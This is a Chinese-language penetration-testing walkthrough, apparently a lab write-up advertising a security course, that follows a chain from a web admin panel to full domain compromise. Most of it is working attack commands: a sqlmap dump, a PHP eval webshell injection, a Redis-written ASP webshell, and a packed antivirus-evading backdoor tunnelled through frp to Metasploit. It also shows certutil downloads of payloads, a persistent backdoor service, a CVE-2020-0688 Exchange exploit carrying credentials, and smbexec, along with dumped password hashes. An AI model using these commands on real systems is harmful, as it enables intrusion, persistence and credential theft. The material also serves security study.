外网打点到内网域渗透
项目拓扑
PHP代码审计、windows 系统宝塔提权、免杀过火绒、域渗透技巧等。
外网打点
首先访问目标,是一个网站后台,尝试弱口令无果;此处验证码可以重用,进行暴力破解,也无果。
扫描敏感文件,发现web.zip,下载之后发现是网站源代码。
PHP代码审计-SQL注入漏洞
尝试找一下历史漏洞,很显然没有
这里v_oid最后赋值给$HY_f25124089abd2a0f81,然后拼接到sql语句中执行,因为这些参数都是加密的,解密可以使用如下网站。
zend在线解密:http://dezend.qiling.org/free.html
因为这里是POST,所以抓包之后手动改一下请求方式,接着构造参数,让它返回正常的请求。
使用sqlmap检测,存在延时注入。
sqlmap -r sql.txt --dbms mysql -p v_oid -D www_cocat_cc -T kss_tb_manager -C "username,password" --dump --batch
由于这里不知道网站的完整路径,所以不能直接使用os-shell参数来获取shell。
_config.php文件接收系统设置里面的参数
然后再通过admin_sysset.php进行保存
大概看一下admin_sysset.php的代码,这里都是混淆加密,没办法解密之后分析。
1234');@eval($_POST[x]);//
可以看到,当前是SYSTEM权限,但是无法执行命令;使用蚁剑插件,都是支持Linux系统。
此时,可以读取宝塔的配置文件,然后登陆通过任务计划程序提权。
C:/BtSoft/panel/data/default.pl jSKyFFdj
C:/BtSoft/panel/data/port.pl 8888
C:/BtSoft/panel/data/admin_path.pl /e1VOsmtO
然后下载default.db文件,使用sqlite数据库打开,获取到宝塔密码。
这里没办法执行执行命令,所以
只能上传一个php大马,然后扫描开放端口。
查看C盘,存在代理工具frp,查看frpc.ini文件,发现80端口被映射到公网,因此可以借助此文件来映射8888端口。
这样想来的话,使用网站域名和本地扫出来的端口是不一样的,先扫描一下看存在8888端口吗。
[bt]
type = tcp
local_ip = 127.0.0.1
local_port = 8888
remote_port = 8888
发现8888端口是开放的,但是要想访问到8888端口,还需要管理员重新启动frp客户端才可以。
这里上传后门,为了保险起见,还是做一下免杀。(这里使用加壳免杀,免杀效果还是可以的)
frp反向代理上线Metasploit
[common]
server_addr = vps_ip
server_port = 7000
token = 66b
[msf]
type = tcp
local_ip = 127.0.0.1
local_port = 5555
remote_port = 6666
内网渗透
进程迁移
抓取密码hash
Administrator:500:aad3b435b51404eeaad3b435b51404ee:de935c6087ec367d3ef786915a4edcce:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
mysql:1002:aad3b435b51404eeaad3b435b51404ee:291376866817cf2ccfe198308e5f925b:::
www:1001:aad3b435b51404eeaad3b435b51404ee:894f353e870620b186a9a46ce56ac8f1:::
抓取明文密码,但是失败了,查看系统版本,发现是windows server 2012,那就很正常不过了。
查看IP地址,发现内网地址段:192.168.40.0/24
使用arp -a发现存在192.168.40.144,msf低版本可以只用run apr_scanner或run post/windows/gather/arp_scanner模块,但是现在高版本使用不了
添加路由
接着设置socks5代理
echo "socks5 127.0.0.1 1080" >> /etc/proxychains4.conf
proxychains4 nmap -sT -Pn 192.168.40.144 -v // 这里端口扫描可以上传工具到跳板机上扫描,msf代理模块不稳定
扫描发现存在25、80、110、6379端口存在
访问80端口,是一个IIS的默认页面,尝试爆破6379端口,获取到密码
proxychains4 hydra -P /root/Desktop/webinfo/top100password.txt redis://192.168.40.144 -t 1 -v
redis 基于 windows 写马getshell
auth 123456789qq
config set dir C:/inetpub/wwwroot
set xxx "\n\n\n<%eval request(\"cmd\")%>\n\n\n"
config set dbfilename ccax.asp
save
蚁剑添加代理
但是这里权限是很低的,先来进行提权。
查看系统版本,也是windows server 2012
PrintSpoofer提权windows server 2012
通过尝试,这里使用蚁剑只有ProgramData目录可以上传文件,并且文件较大会上传失败,原因可能是msf代理模块不稳定,也可能是这里对上传的文件大小有限制。
这里不能直接使用蚁剑上传,那就先上传到跳板机,然后redis主机下载,直接访问http://192.168.40.137,显示如下页面,此时就要找当前页面所对应的目录,然后才能上传后门文件。
最后发现,此页面对应的目录是:C:\BtSoft\apache\htdocs
schoot.exe -i -c "certutil -urlcache -split -f http://192.168.40.137/b_se.exe C:\\Users\\b_se.exe"
这里防火墙是有限制的,此处添加防火墙规则,允许7777端口。
schoot.exe -i -c "netsh firewall add portopening tcp 7777 b_se"
设置后门以服务方式启动
schoot.exe -i -c "sc create \"server power\" binpath= \"C:\Users\b_se.exe""
schoot.exe -i -c "sc description \"server power\" \"description\""
schoot.exe -i -c "sc config \"server power\" start= auto"
schoot.exe -i -c "net start \"server power\"" 启动服务
获取到会话之后,先迁移进程。(这里获取到会话赶紧迁移进程,否则会话容易断掉)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:6a149cb1c1e573427d4d89849a21536a:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
md5解密 Administrator:QWEasd1122
这里就没必要加载mimikatz获取明文密码了,因为肯定是抓取不到的。
发现还存在网段10.10.10.0/24
添加路由。
上传fscan扫描10.10.10.0/24网段,这里最好使用支持禁ping扫描的,否则有些存活IP会扫描不到。
发现10.10.10.209存在443端口,访问之后发现是一个outlook。
这里可能会遇到无法访问https的情况,登陆显示”此工作站和主域间的信任关系失败“,可以只用如下命令解决
Reset-ComputerMachinePassword -Server "12server-dc.cncat.cc" -Credential CNCAT\Administrator
搜索相关后缀文件
cd "c:\\Users\\Administrator\\Documents\\Outlook 文件\\"
download *
从邮件中获取到账号密码:moonsec QQqq5201314
登陆Outlook Web App,账号:cncat\moonsec 密码:QQqq5201314
登陆成功,查看所有用户。
CVE-2020-0688 exchange远程代码执行漏洞
proxychains4 python CVE-2020-0688_EXP.py -s https://10.10.10.209 -u cncat\moonsec -p QQqq5201314 -c "cmd /c certutil -urlcache -split -f http://10.10.10.2/x.exe c:\x.exe"
proxychains4 python CVE-2020-0688_EXP.py -s https://10.10.10.209 -u cncat\moonsec -p QQqq5201314 -c "cmd /c netsh firewall add portopening tcp 8888 msf"
proxychains4 python CVE-2020-0688_EXP.py -s https://10.10.10.209 -u cncat\moonsec -p QQqq5201314 -c "cmd /c c:/x.exe"
hash解密获取域控权限
迁移CNCAT\Administrator的进程,获取域控权限。
导出administrator用户的hash
md5解密:QWEasd123
由于前面获取到域控的445端口是开放的。
proxychains4 python3 smbexec.py cncat/administrator:QWEasd123@10.10.10.201
项目获取
认准暗月官方网站:https://edu.moonsec.com/